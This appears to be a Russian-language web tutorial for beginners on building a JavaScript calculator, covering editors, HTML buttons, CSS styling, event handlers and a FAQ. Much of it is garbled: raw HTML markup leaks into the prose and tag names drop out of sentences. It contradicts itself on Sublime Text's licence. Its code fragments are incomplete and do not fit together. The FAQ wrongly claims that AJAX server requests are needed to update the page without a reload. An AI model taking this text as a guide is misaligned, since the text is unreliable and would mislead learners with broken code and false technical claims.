Как создать калькулятор на JavaScript: пошаговая инструкция для новичков

JavaScript является одним из наиболее используемых языков программирования в мире веб-разработки. Калькулятор — это один из самых простых приложений, которые можно создать с помощью JavaScript, и это отличный способ начать изучение языка программирования.

Калькулятор на JavaScript может быть создан с нуля с помощью базовых знаний HTML, CSS и JavaScript. В этой пошаговой инструкции мы рассмотрим, как создать калькулятор на JavaScript с помощью простых шагов и команд.

В этом туториале вы научитесь создавать функции, операции и кнопки для вашего калькулятора на JavaScript. Этот процесс позволит вам лучше понять, как работает язык программирования JavaScript, и как его можно использовать для создания различных веб-приложений.

Подготовка

Процесс создания калькулятора на JavaScript начинается с подготовки необходимых инструментов и ресурсов. Во-первых, нужно выбрать среду разработки, в которой будет создаваться код. В качестве такой среды может выступать любой удобный текстовый редактор, например, Sublime Text, Visual Studio Code или другие программы. Важно убедиться, что выбранный редактор поддерживает работу с JavaScript.

Далее необходимо создать файл, в котором будет размещаться код калькулятора. Рекомендуется называть файлы с расширением .js для того, чтобы облегчить их поиск и восприятие.

После создания файла следует подключить его к HTML-странице, где будет использоваться калькулятор. Важно помнить, что JavaScript-код должен быть вставлен в секцию body страницы или в отдельный файл, который также должен быть подключен к странице.

Если вы не знакомы с основами JavaScript, необходимо ознакомиться с ними перед началом создания калькулятора. Для этого можно изучить курсы и учебники по языку JavaScript, а также использовать информацию из блогов и форумов. Необходимо понимать основные концепции и принципы работы с языком, такие как взаимодействие с DOM-деревом, создание функций и работа с переменными.

Установка редактора кода

Прежде чем приступить к созданию калькулятора на JavaScript, необходимо установить редактор кода. Редактор кода является программным обеспечением, которое позволяет создавать и редактировать код.

Существует множество редакторов кода, но для начинающих рекомендуется использовать редакторы с открытым исходным кодом, такие как Visual Studio Code, Atom, Sublime Text и Notepad++.

Visual Studio Code — бесплатный редактор кода, разработанный Microsoft для Windows, Linux и macOS. Он имеет множество полезных функций, таких как автодополнение кода, отладка кода и удобное управление файлами и плагинами.

Atom — еще один бесплатный редактор кода, который был разработан GitHub. Программа открытая для разработчиков со всего мира и поэтому позволяет настроить интерфейс и установить любое количество плагинов.

Sublime Text является коммерческим редактором кода, который предлагает проприетарную лицензию. Он доступен для Windows, Linux и macOS и имеет множество полезных функций для разработки кода, включая быстрое автодополнение и навигацию по коду.

Notepad++ — это бесплатный редактор кода для Windows, который интегрируется с рядом языков программирования и поддерживает множество плагинов. Он также предлагает функции, такие как автодополнение и подсветка синтаксиса.

  • Visual Studio Code — https://code.visualstudio.com/
  • Atom — https://atom.io/
  • Sublime Text — https://www.sublimetext.com/
  • Notepad++ — https://notepad-plus-plus.org/downloads/

Выбор редактора кода зависит от ваших потребностей и личных предпочтений. В любом случае, установка редактора кода является необходимым шагом для создания калькулятора на JavaScript.

Создание файла проекта

Прежде чем начать создавать калькулятор на JavaScript, необходимо создать файл проекта. Для этого откройте любой текстовый редактор, такой как Notepad, Sublime Text или Visual Studio Code.

Создайте новый файл и сохраните его с расширением .html, например calculator.html. Затем создайте еще один файл с расширением .js, например calculator.js. В этом файле вы будете писать весь JavaScript код для вашего калькулятора.

Сохраните оба файла в одной папке, чтобы они могли обмениваться информацией друг с другом. В противном случае, ваш калькулятор не сможет работать.

Обратите внимание, что вы должны подключить файл calculator.js к своему HTML документу, чтобы он смог использовать JavaScript код в вашем проекте. Для этого можно использовать тег <script>, который можно поместить внутри тега <head> или <body>.

В целом, создание файла проекта не занимает много времени, но крайне важно для успешной реализации вашего калькулятора на JavaScript.

HTML разметка

HTML – это язык разметки, который используется для создания веб-страниц. Каждый элемент на странице должен быть правильно размечен и иметь теги, которые соответствуют его структуре и содержанию.

Теги HTML можно разделить на две категории – блочные и строчные. Блочные теги создают блоки содержимого, которые занимают всю доступную ширину. Строчные теги, в свою очередь, создают строки текста, которые занимают только ту ширину, которая необходима для содержимого.

Страница должна иметь общую структуру с помощью тегов , и . Ключевые слова нужно заключать в теги и </em></strong>.</p><p>Для создания списков на странице используются теги <strong><em></p><ul></em></strong>, <strong><em></p><ol></em></strong> и <strong><em></p><li></em></strong>, которые представляют собой ненумерованный, нумерованный список и элемент списка соответственно.</p><p>Тег <strong><em></p><table></em></strong> используется для создания таблиц на странице. Он содержит теги <strong><em></p><tr></em></strong> для строк таблицы и <strong><em></p><td></em></strong> для ячеек таблицы.</p><h3><span class="ez-toc-section" id="%D0%A0%D0%B0%D0%B7%D0%BC%D0%B5%D1%82%D0%BA%D0%B0_%D0%B4%D0%BB%D1%8F_%D0%B2%D1%8B%D0%B2%D0%BE%D0%B4%D0%B0_%D1%80%D0%B5%D0%B7%D1%83%D0%BB%D1%8C%D1%82%D0%B0%D1%82%D0%B0"></span>Разметка для вывода результата<span class="ez-toc-section-end"></span></h3><p>Для вывода результата в калькуляторе на JavaScript используется специальное поле, которое отображает текущее значение выражения.</p><p>Такое поле можно создать с помощью тега <strong><input></strong>, атрибута <strong>type=»text»</strong> и установки свойства <strong>value</strong> равным нулю:</p><p><pre></p> <p><input type="text" value="0"></p> <p></pre></p><p>Значение в это поле выводится с помощью JavaScript с помощью команды:</p><p><pre></p> <p>document.getElementById("result").value = calculation;</p> <p></pre></p><p>Где <strong>«result»</strong> — ID поля результата, а <strong>calculation</strong> — вычисленное значение.</p><p>Также можно использовать тег <strong><div></strong> с заданным ID для вывода результата:</p><p><pre></p> <p><div id="result">0</div></p> <p></pre></p><p>В этом случае значение выводится с помощью команды:</p><p><pre></p> <p>document.getElementById("result").innerHTML = calculation;</p> <p></pre></p><p>Этот метод позволяет более гибко форматировать выводимое значение, например, использовать форматирование текста и стилизацию.</p><p>Также можно использовать таблицу для вывода результата, но это уже зависит от конкретной задачи и требований к дизайну.</p><h3><span class="ez-toc-section" id="%D0%A0%D0%B0%D0%B7%D0%BC%D0%B5%D1%82%D0%BA%D0%B0_%D0%B4%D0%BB%D1%8F_%D0%BA%D0%BD%D0%BE%D0%BF%D0%BE%D0%BA_%D0%BA%D0%B0%D0%BB%D1%8C%D0%BA%D1%83%D0%BB%D1%8F%D1%82%D0%BE%D1%80%D0%B0"></span>Разметка для кнопок калькулятора<span class="ez-toc-section-end"></span></h3><p>Перед тем как начать написание скрипта для калькулятора, необходимо определиться с его внешним видом и разметкой. В нашем случае, калькулятор будет состоять из кнопок с цифрами, операторами и дополнительными функциями.</p><p>Для создания кнопок обычно используются теги <strong><button></strong>. Начнем с разметки кнопок с цифрами от 0 до 9. Для этого, создадим контейнер для всех кнопок и используем тег <strong><ul></strong> для создания списка с кнопками:</p><p><pre class="language-html"></p> <p><div class="calc-numbers"></p> <p><ul></p> <p><li><button>1</button></li></p> <p><li><button>2</button></li></p> <p><li><button>3</button></li></p> <p><li><button>4</button></li></p> <p><li><button>5</button></li></p> <p><li><button>6</button></li></p> <p><li><button>7</button></li></p> <p><li><button>8</button></li></p> <p><li><button>9</button></li></p> <p><li><button>0</button></li></p> <p></ul></p> <p></div></p> <p></pre></p><p>Аналогичным образом можно создать кнопки с операторами и дополнительными функциями. Для этого нужно использовать тег <strong><ol></strong>, который создаст нумерованный список. Кнопки операторов можно разместить в списке, как обычные пункты. Дополнительные функции лучше разместить в отдельном списке:</p><p><pre class="language-html"></p> <p><div class="calc-actions"></p> <p><ol></p> <p><li><button>+</button></li></p> <p><li><button>-</button></li></p> <p><li><button>*</button></li></p> <p><li><button>/</button></li></p> <p><li><button>=</button></li></p> <p></ol></p> <p><ul></p> <p><li><button>C</button></li></p> <p><li><button>AC</button></li></p> <p></ul></p> <p></div></p> <p></pre></p><p>Кроме тегов <strong><ul></strong> и <strong><ol></strong>, можно воспользоваться тегом <strong><table></strong>, чтобы создать сетку из кнопок. Но в данном случае, использование таблицы может затруднить процесс написания стилей и адаптивности калькулятора для разных устройств.</p><h2><span class="ez-toc-section" id="CSS_%D1%81%D1%82%D0%B8%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F"></span>CSS стилизация<span class="ez-toc-section-end"></span></h2><p>После того, как мы создали наш калькулятор на JavaScript, мы можем продолжить его улучшать, добавляя стилизацию с помощью CSS.</p><p>Стилизация дает возможность изменять внешний вид элементов на странице, подчеркивая их важность и улучшая презентацию сайта. Примерами стилизации могут быть изменение цвета фона, шрифта, размера кнопок и их положения на странице.</p><p>В нашем случае, мы можем добавить стилизацию для элементов калькулятора: текстового поля, кнопок, рамок и т.д. С помощью CSS можно создавать анимации и эффекты, что может улучшить восприятие пользователей.</p><p>Важно помнить, что слишком много стилей может замедлить загрузку страницы и ухудшить работу калькулятора. Поэтому, необходимо использовать минимум стилей, но так, чтобы элементы калькулятора выглядели аккуратно и привлекательно.</p><p>Пример кода CSS для калькулятора:</p><ul><li><strong>background-color:</strong> #f2f2f2;</li><li><strong>font-family:</strong> sans-serif;</li><li><strong>font-size:</strong> 18px;</li><li><strong>border-radius:</strong> 5px;</li><li><strong>padding:</strong> 10px;</li></ul><p>Эти стили задают фон, шрифт, размер, радиус границ и отступы для элементов калькулятора.</p><h3><span class="ez-toc-section" id="%D0%A1%D1%82%D0%B8%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F_%D0%BA%D0%BD%D0%BE%D0%BF%D0%BE%D0%BA_%D0%BA%D0%B0%D0%BB%D1%8C%D0%BA%D1%83%D0%BB%D1%8F%D1%82%D0%BE%D1%80%D0%B0"></span>Стилизация кнопок калькулятора<span class="ez-toc-section-end"></span></h3><p>Для того чтобы наш калькулятор выглядел красиво и удобно, нужно позаботиться о стилизации его элементов. Особое внимание стоит уделить кнопкам, так как именно они будут использоваться пользователем в процессе работы с нашей программой.</p><p>Для начала можно задать общие стили для всех кнопок калькулятора. Например, можно изменить цвет фона, цвет текста, шрифт и размер.</p><ul><li><strong>background-color:</strong> задает цвет фона кнопки;</li><li><strong>color:</strong> определяет цвет текста на кнопке;</li><li><strong>font-family:</strong> задает шрифт текста на кнопке;</li><li><strong>font-size:</strong> устанавливает размер текста кнопки.</li></ul><p>Кроме общих стилей можно задать отдельные стили для разных типов кнопок. Например, для цифровых кнопок можно установить другой цвет фона, а для кнопок операций – другой цвет текста.</p><p>Для удобства можно использовать CSS-классы для определенных типов кнопок. Это позволит более гибко управлять стилями и не дублировать одинаковые свойства для каждой кнопки.</p><p>Также можно использовать псевдоклассы для указания стиля для состояний кнопок. Например, можно задать другой цвет фона для нажатых кнопок или отображать зажатую кнопку в другом цвете.</p><p>Важно помнить, что хорошая стилизация кнопок не только улучшит внешний вид калькулятора, но и повысит его удобство и эффективность использования.</p><h3><span class="ez-toc-section" id="%D0%A1%D1%82%D0%B8%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F_%D0%BF%D0%BE%D0%BB%D1%8F_%D0%B2%D1%8B%D0%B2%D0%BE%D0%B4%D0%B0_%D1%80%D0%B5%D0%B7%D1%83%D0%BB%D1%8C%D1%82%D0%B0%D1%82%D0%B0"></span>Стилизация поля вывода результата<span class="ez-toc-section-end"></span></h3><p>Поле вывода результата является одним из самых важных элементов калькулятора на JavaScript. Чтобы пользователь мог легко воспринимать полученный результат, необходимо произвести стилизацию данного поля.</p><p>Для начала стоит задать размер шрифта и цвет текста поля вывода результата:</p><p><pre></p> <p><code></p> <p>.result {</p> <p>font-size: 24px;</p> <p>color: #000;</p> <p>}</p> <p></code></pre></p><p>Кроме того, можно добавить отступы сверху и снизу, чтобы выделить поле вывода результата:</p><p><pre></p> <p><code></p> <p>.result {</p> <p>font-size: 24px;</p> <p>color: #000;</p> <p>padding: 10px 0;</p> <p>margin: 10px 0;</p> <p>border: 2px solid #000;</p> <p>}</p> <p></code></pre></p><p>Также можно добавить анимацию при изменении значения поля вывода результата:</p><p><pre></p> <p><code></p> <p>.result {</p> <p>font-size: 24px;</p> <p>color: #000;</p> <p>padding: 10px 0;</p> <p>margin: 10px 0;</p> <p>border: 2px solid #000;</p> <p>transition: all 0.5s ease-in-out;</p> <p>}</p> <p></code></pre></p><p>Теперь при изменении значения поля вывода результата, пользователь увидит плавный переход между значениями.</p><p>В результате, стилизованное поле вывода результата не только облегчит восприятие полученного результата, но и сделает калькулятор более привлекательным и удобным в использовании.</p><h2><span class="ez-toc-section" id="JavaScript_%D0%BA%D0%BE%D0%B4%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5"></span>JavaScript кодирование<span class="ez-toc-section-end"></span></h2><p>JavaScript — это язык программирования, который используется для создания интерактивных сайтов и приложений. Он позволяет создавать динамические элементы на веб-странице, улучшать взаимодействие с пользователем и многое другое. Чтобы стать хорошим программистом на JavaScript, нужно иметь хорошее знание основных принципов языка и умение применять их в практике.</p><p>Основой любой программы на JavaScript является кодирование. Кодирование — это написание исходного кода на языке программирования. Оно состоит из набора инструкций и команд, которые выполняются компьютером. Исходный код должен быть читабельным и понятным, чтобы его могли прочитать и использовать другие разработчики. Для этого часто применяется стандартное форматирование, использование комментариев и привычных соглашений.</p><p>Для начала работы с кодированием на JavaScript необходимы знания основных конструкций языка. Это переменные, операторы, условные и циклические конструкции, функции, объекты и многое другое. Нужно уметь правильно использовать каждую конструкцию в практике и понимать принцип их работы.</p><p>Кроме этого, важно уметь использовать различные инструменты разработки, такие как текстовые редакторы и среды разработки, отладчики, тестирующие программы и многое другое. Они позволяют значительно упростить процесс разработки и повысить ее эффективность.</p><p>Кодирование на JavaScript является важным навыком для любого веб-разработчика. Оно позволяет создавать качественные и интерактивные сайты и приложения, улучшать их функциональность и упрощать взаимодействие с пользователями. Обучение основам программирования на JavaScript — это первый шаг к карьере разработчика программного обеспечения. Будьте на пути к успеху и развивайте свой навык кодирования на JavaScript!</p><h3><span class="ez-toc-section" id="%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA_%D0%BD%D0%B0_%D0%BA%D0%BD%D0%BE%D0%BF%D0%BA%D0%B8_%D0%B8_%D0%BF%D0%BE%D0%BB%D0%B5_%D1%80%D0%B5%D0%B7%D1%83%D0%BB%D1%8C%D1%82%D0%B0%D1%82%D0%B0"></span>Получение ссылок на кнопки и поле результата<span class="ez-toc-section-end"></span></h3><p>Для работы калькулятора нам необходимо получить доступ к элементам, которые будут участвовать в вычислениях. В данном случае, нам нужно получить ссылки на кнопки и на поле результата.</p><p>Для получения ссылок на кнопки мы используем метод <strong>querySelectorAll</strong>, который позволяет получить коллекцию элементов по заданному селектору. В данном случае, селектором является класс кнопок — <em>«button»</em>.</p><ul><li>Сначала мы создаем переменную <em>buttonsCollection</em>, в которую записываем все элементы с классом «button»:</li><p><code>const buttonsCollection = document.querySelectorAll(".button");</code></p><li>Затем мы проходимся по всем элементам коллекции и добавляем им обработчик событий:</li><p><code>buttonsCollection.forEach(button => button.addEventListener("click", handleButtonClick));</code></p></ul><p>Аналогично, чтобы получить ссылку на поле результата, мы используем метод <strong>getElementById</strong>. Этот метод позволяет получить ссылку на элемент по его уникальному идентификатору:</p><ul><li>Создаем переменную <em>resultField</em> и записываем в нее ссылку на элемент с идентификатором «result»:</li><p><code>const resultField = document.getElementById("result");</code></p></ul><p>Таким образом, мы получили ссылки на все элементы, необходимые для работы калькулятора, и можем начинать писать код, который будет обрабатывать их взаимодействие и производить вычисления.</p><h3><span class="ez-toc-section" id="%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%87%D0%B8%D0%BA_%D0%BD%D0%B0%D0%B6%D0%B0%D1%82%D0%B8%D0%B9_%D0%BA%D0%BD%D0%BE%D0%BF%D0%BE%D0%BA_%D0%B8_%D0%B2%D1%8B%D0%B2%D0%BE%D0%B4_%D1%80%D0%B5%D0%B7%D1%83%D0%BB%D1%8C%D1%82%D0%B0%D1%82%D0%B0"></span>Обработчик нажатий кнопок и вывод результата<span class="ez-toc-section-end"></span></h3><p>Для того чтобы калькулятор работал должным образом, необходимо добавить обработчик нажатий кнопок и настроить вывод результата.</p><p>Обработчик нажатий кнопок должен реагировать на нажатия любой из кнопок нашего калькулятора. Для этого нужно использовать метод addEventListener() для регистрации обработчика событий.</p><p>Когда пользователь нажимает на кнопку, обработчик должен запустить функцию, которая соответствует данной кнопке. Функция должна получить значение, соответствующее этой кнопке, и добавить его к текущему состоянию калькулятора.</p><p>Чтобы корректно выводить результат, нужно подготовить соответствующие элементы на странице, куда будет выводиться результат. Можно использовать теги <strong> или <em> для выделения части текста с результатом, а также таблицы (</p><table>) или списки (</p><ul>,</p><ol>,</p><li>) для более удобного представления информации.</p><h3><span class="ez-toc-section" id="%D0%94%D0%BE%D0%B1%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D0%B0_%D0%B4%D0%BB%D1%8F_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%B9_%D0%B8_%D0%BE%D1%87%D0%B8%D1%81%D1%82%D0%BA%D0%B8"></span>Добавление функционала для операций и очистки<span class="ez-toc-section-end"></span></h3><p>Чтобы сделать калькулятор еще более функциональным, можно добавить возможность выполнять арифметические операции. Для этого потребуется добавить несколько элементов управления на страницу.</p><p>Первым шагом необходимо создать кнопки с символами математических операций (<strong>+</strong>, <strong>—</strong>, <strong>*</strong>, <strong>/</strong>) и кнопку для вычисления (<strong>=</strong>). Также стоит добавить кнопку для очистки всех данных, например <strong>Сброс</strong>.</p><p>Когда пользователь нажимает кнопку с символом операции, нужно сохранить выбранную операцию в переменной. Когда пользователь нажимает кнопку вычисления, нужно считать значения из полей ввода и выполнить необходимую операцию. Результат должен отобразиться в последней строке поля вывода.</p><p>Кнопка для очистки должна очистить все поля ввода и вывода, а также сбросить сохраненную операцию.</p><p>Еще одним полезным функционалом может стать возможность удаления последнего введенного символа. Например, можно добавить кнопку <strong>Del</strong>, которая удаляет последний символ из поля ввода.</p><p>Для удобства и быстроты восприятия информации, все кнопки можно расположить в таблице или списке, а вводимые цифры и символы — в последовательности списка.</p><h2><span class="ez-toc-section" id="FAQ"></span>FAQ<span class="ez-toc-section-end"></span></h2><h4><span class="ez-toc-section" id="%D0%A1%D0%BA%D0%BE%D0%BB%D1%8C%D0%BA%D0%BE_%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8_%D0%B7%D0%B0%D0%B9%D0%BC%D0%B5%D1%82_%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BA%D0%B0%D0%BB%D1%8C%D0%BA%D1%83%D0%BB%D1%8F%D1%82%D0%BE%D1%80%D0%B0_%D0%BD%D0%B0_JavaScript"></span>Сколько времени займет создание калькулятора на JavaScript?<span class="ez-toc-section-end"></span></h4><p>Время зависит от уровня знаний и опыта программиста, однако, с помощью пошаговой инструкции, которая дана в статье, даже начинающий сможет создать калькулятор за несколько часов.</p><h4><span class="ez-toc-section" id="%D0%9C%D0%BE%D0%B6%D0%BD%D0%BE_%D0%BB%D0%B8_%D1%83%D0%BB%D1%83%D1%87%D1%88%D0%B8%D1%82%D1%8C_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%B0%D0%BB%D1%8C%D0%BA%D1%83%D0%BB%D1%8F%D1%82%D0%BE%D1%80%D0%B0_%D0%BD%D0%B0_JavaScript"></span>Можно ли улучшить функциональность калькулятора на JavaScript?<span class="ez-toc-section-end"></span></h4><p>Да, возможно. Самостоятельно можно добавить в калькулятор возможность работы с дробными числами, квадратным корнем, возведением в степень, синусом, косинусом, тангенсом и др. Все зависит от уровня знаний и опыта программиста.</p><h4><span class="ez-toc-section" id="%D0%9A%D0%B0%D0%BA_%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D1%82%D1%8C_%D0%BA%D0%B0%D0%BB%D1%8C%D0%BA%D1%83%D0%BB%D1%8F%D1%82%D0%BE%D1%80_%D0%BA%D0%BE%D1%82%D0%BE%D1%80%D1%8B%D0%B9_%D0%BC%D0%BE%D0%B6%D0%B5%D1%82_%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D1%82%D1%8C_%D1%81_%D0%BE%D1%82%D1%80%D0%B8%D1%86%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%BC%D0%B8_%D1%87%D0%B8%D1%81%D0%BB%D0%B0%D0%BC%D0%B8"></span>Как создать калькулятор, который может работать с отрицательными числами?<span class="ez-toc-section-end"></span></h4><p>Для того, чтобы калькулятор на JavaScript мог работать с отрицательными числами, необходимо изменить логику обработки строк, которые вводит пользователь, и добавить соответствующие математические операции.</p><h4><span class="ez-toc-section" id="%D0%9C%D0%BE%D0%B6%D0%BD%D0%BE_%D0%BB%D0%B8_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D1%8C_jQuery_%D0%B4%D0%BB%D1%8F_%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BA%D0%B0%D0%BB%D1%8C%D0%BA%D1%83%D0%BB%D1%8F%D1%82%D0%BE%D1%80%D0%B0_%D0%BD%D0%B0_JavaScript"></span>Можно ли использовать jQuery для создания калькулятора на JavaScript?<span class="ez-toc-section-end"></span></h4><p>Да, можно использовать jQuery для создания калькулятора на JavaScript. Библиотека jQuery позволяет упростить работу с DOM-элементами, сделать код более читаемым и коротким.</p><h4><span class="ez-toc-section" id="%D0%9A%D0%B0%D0%BA_%D0%B7%D0%B0%D1%81%D1%82%D0%B0%D0%B2%D0%B8%D1%82%D1%8C_%D0%BA%D0%B0%D0%BB%D1%8C%D0%BA%D1%83%D0%BB%D1%8F%D1%82%D0%BE%D1%80_%D0%BD%D0%B0_JavaScript_%D0%B2%D1%8B%D0%B2%D0%BE%D0%B4%D0%B8%D1%82%D1%8C_%D0%BE%D1%82%D0%B2%D0%B5%D1%82_%D0%BD%D0%B0_%D1%8D%D0%BA%D1%80%D0%B0%D0%BD%D0%B5_%D0%B1%D0%B5%D0%B7_%D0%BF%D0%B5%D1%80%D0%B5%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA%D0%B8_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D1%8B"></span>Как заставить калькулятор на JavaScript выводить ответ на экране без перезагрузки страницы?<span class="ez-toc-section-end"></span></h4><p>Для того, чтобы калькулятор на JavaScript выводил ответ на экране без перезагрузки страницы, можно использовать AJAX-запросы. Для этого необходимо отправить данные на сервер, обработать их и вернуть обратно на страницу с помощью JavaScript.</p><div class="flat_pm_end"></div><div id="ez-toc-container" class="ez-toc-v2_0_22 counter-hierarchy ez-toc-grey"><div class="ez-toc-title-container"><p class="ez-toc-title">Cодержание</p> <span class="ez-toc-title-toggle"><a class="ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle" style="display: none;"><i class="ez-toc-glyphicon ez-toc-icon-toggle"></i></a></span></div><nav><ul class="ez-toc-list ez-toc-list-level-1"><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-1" href="#%D0%9F%D0%BE%D0%B4%D0%B3%D0%BE%D1%82%D0%BE%D0%B2%D0%BA%D0%B0" title="Подготовка">Подготовка</a><ul class="ez-toc-list-level-3"><li class="ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-2" href="#%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_%D1%80%D0%B5%D0%B4%D0%B0%D0%BA%D1%82%D0%BE%D1%80%D0%B0_%D0%BA%D0%BE%D0%B4%D0%B0" title="Установка редактора кода">Установка редактора кода</a></li><li class="ez-toc-page-1 ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-3" href="#%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D1%84%D0%B0%D0%B9%D0%BB%D0%B0_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B0" title="Создание файла проекта">Создание файла проекта</a></li></ul></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-4" href="#HTML_%D1%80%D0%B0%D0%B7%D0%BC%D0%B5%D1%82%D0%BA%D0%B0" title="HTML разметка">HTML разметка</a><ul class="ez-toc-list-level-3"><li class="ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-5" href="#%D0%A0%D0%B0%D0%B7%D0%BC%D0%B5%D1%82%D0%BA%D0%B0_%D0%B4%D0%BB%D1%8F_%D0%B2%D1%8B%D0%B2%D0%BE%D0%B4%D0%B0_%D1%80%D0%B5%D0%B7%D1%83%D0%BB%D1%8C%D1%82%D0%B0%D1%82%D0%B0" title="Разметка для вывода результата">Разметка для вывода результата</a></li><li class="ez-toc-page-1 ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-6" href="#%D0%A0%D0%B0%D0%B7%D0%BC%D0%B5%D1%82%D0%BA%D0%B0_%D0%B4%D0%BB%D1%8F_%D0%BA%D0%BD%D0%BE%D0%BF%D0%BE%D0%BA_%D0%BA%D0%B0%D0%BB%D1%8C%D0%BA%D1%83%D0%BB%D1%8F%D1%82%D0%BE%D1%80%D0%B0" title="Разметка для кнопок калькулятора">Разметка для кнопок калькулятора</a></li></ul></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-7" href="#CSS_%D1%81%D1%82%D0%B8%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F" title="CSS стилизация">CSS стилизация</a><ul class="ez-toc-list-level-3"><li class="ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-8" href="#%D0%A1%D1%82%D0%B8%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F_%D0%BA%D0%BD%D0%BE%D0%BF%D0%BE%D0%BA_%D0%BA%D0%B0%D0%BB%D1%8C%D0%BA%D1%83%D0%BB%D1%8F%D1%82%D0%BE%D1%80%D0%B0" title="Стилизация кнопок калькулятора">Стилизация кнопок калькулятора</a></li><li class="ez-toc-page-1 ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-9" href="#%D0%A1%D1%82%D0%B8%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F_%D0%BF%D0%BE%D0%BB%D1%8F_%D0%B2%D1%8B%D0%B2%D0%BE%D0%B4%D0%B0_%D1%80%D0%B5%D0%B7%D1%83%D0%BB%D1%8C%D1%82%D0%B0%D1%82%D0%B0" title="Стилизация поля вывода результата">Стилизация поля вывода результата</a></li></ul></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-10" href="#JavaScript_%D0%BA%D0%BE%D0%B4%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5" title="JavaScript кодирование">JavaScript кодирование</a><ul class="ez-toc-list-level-3"><li class="ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-11" href="#%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA_%D0%BD%D0%B0_%D0%BA%D0%BD%D0%BE%D0%BF%D0%BA%D0%B8_%D0%B8_%D0%BF%D0%BE%D0%BB%D0%B5_%D1%80%D0%B5%D0%B7%D1%83%D0%BB%D1%8C%D1%82%D0%B0%D1%82%D0%B0" title="Получение ссылок на кнопки и поле результата">Получение ссылок на кнопки и поле результата</a></li><li class="ez-toc-page-1 ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-12" href="#%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%87%D0%B8%D0%BA_%D0%BD%D0%B0%D0%B6%D0%B0%D1%82%D0%B8%D0%B9_%D0%BA%D0%BD%D0%BE%D0%BF%D0%BE%D0%BA_%D0%B8_%D0%B2%D1%8B%D0%B2%D0%BE%D0%B4_%D1%80%D0%B5%D0%B7%D1%83%D0%BB%D1%8C%D1%82%D0%B0%D1%82%D0%B0" title="Обработчик нажатий кнопок и вывод результата">Обработчик нажатий кнопок и вывод результата</a></li><li class="ez-toc-page-1 ez-toc-heading-level-3"><a class="ez-toc-link ez-toc-heading-13" href="#%D0%94%D0%BE%D0%B1%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D0%B0_%D0%B4%D0%BB%D1%8F_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%B9_%D0%B8_%D0%BE%D1%87%D0%B8%D1%81%D1%82%D0%BA%D0%B8" title="Добавление функционала для операций и очистки">Добавление функционала для операций и очистки</a></li></ul></li><li class="ez-toc-page-1 ez-toc-heading-level-2"><a class="ez-toc-link ez-toc-heading-14" href="#FAQ" title="FAQ">FAQ</a><ul class="ez-toc-list-level-4"><li class="ez-toc-heading-level-4"><ul class="ez-toc-list-level-4"><li class="ez-toc-heading-level-4"><a class="ez-toc-link ez-toc-heading-15" 